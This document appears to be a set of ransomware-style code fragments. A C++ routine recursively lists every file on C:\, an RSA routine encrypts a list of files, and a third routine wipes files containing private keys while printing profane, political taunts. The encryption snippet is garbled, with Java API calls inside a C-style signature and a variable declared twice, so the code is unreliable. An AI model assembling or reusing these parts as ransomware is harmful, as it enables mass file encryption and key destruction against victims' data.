#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <string>

using namespace std;

void scan_dir(const string& dir_name)
{
    WIN32_FIND_DATA find_data;
    HANDLE h_file;

    string search_path = dir_name + "\\*.*";
    h_file = FindFirstFile(search_path.c_str(), &find_data);

    if (h_file != INVALID_HANDLE_VALUE)
    {
        do
        {
            if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                if (strcmp(find_data.cFileName, ".") && strcmp(find_data.cFileName, ".."))
                {
                    scan_dir(dir_name + "\\" + find_data.cFileName);
                }
            }
            else
            {
                cout << dir_name + "\\" + find_data.cFileName << endl;
            }
        } while (FindNextFile(h_file, &find_data));

        FindClose(h_file);
    }
}

int main()
{
    scan_dir("C:\\");
    return 0;
}


---------------------------------------

void EncryptFiles(char* files[], int numFiles, char* outputDir, char* publicKeyFile, char* privateKeyFile)
{
	// Generate a 2048-bit RSA key pair
	KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
	keyGen.initialize(2048);
	KeyPair keyPair = keyGen.genKeyPair();
	PrivateKey privateKey = keyPair.getPrivate();
	PublicKey publicKey = keyPair.getPublic();

	// Store Public Key.
	X509EncodedKeySpec x509EncodedKeySpec = new X509EncodedKeySpec(
			publicKey.getEncoded());
	FileOutputStream fos = new FileOutputStream(publicKeyFile);
	fos.write(x509EncodedKeySpec.getEncoded());
	fos.close();

	// Store Private Key.
	PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(
			privateKey.getEncoded());
	fos = new FileOutputStream(privateKeyFile);
	fos.write(pkcs8EncodedKeySpec.getEncoded());
	fos.close();

	// Get the public key
	File filePublicKey = new File(publicKeyFile);
	FileInputStream fis = new FileInputStream(publicKeyFile);
	byte[] encodedPublicKey = new byte[(int) filePublicKey.length()];
	fis.read(encodedPublicKey);
	fis.close();

	KeyFactory keyFactory = KeyFactory.getInstance("RSA");
	X509EncodedKeySpec publicKeySpec = new X509EncodedKeySpec(
			encodedPublicKey);
	PublicKey publicKey = keyFactory.generatePublic(publicKeySpec);

	// Encrypt the text
	Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
	cipher.init(Cipher.ENCRYPT_MODE, publicKey);

	for (int i = 0; i < numFiles; i++)
	{
		File file = new File(files[i]);
		FileInputStream inputStream = new FileInputStream(file);
		byte[] inputBytes = new byte[(int) file.length()];
		inputStream.read(inputBytes);

		byte[] outputBytes = cipher.doFinal(inputBytes);

		FileOutputStream outputStream = new FileOutputStream(outputDir + "\\" + file.getName());
		outputStream.write(outputBytes);

		inputStream.close();
		outputStream.close();
	}
}

-----------------------------------------
void deletePrivateKey(string fileName) {
  string line;
  ifstream myfile(fileName);
  if (myfile.is_open()) {
    while (getline(myfile, line)) {
      if (line.find("-----BEGIN RSA PRIVATE KEY-----") != string::npos) {
        cout << "Suka Blyat " << fileName << endl;
        cout << "Glory to Ukraine " << fileName << endl;
        ofstream myfile;
        myfile.open(fileName, ios::out | ios::trunc);
        myfile.close();
      }
    }
    myfile.close();
  } else cout << "Still, Fuck you";
}

------------------------------------------

// No help for this one figure it out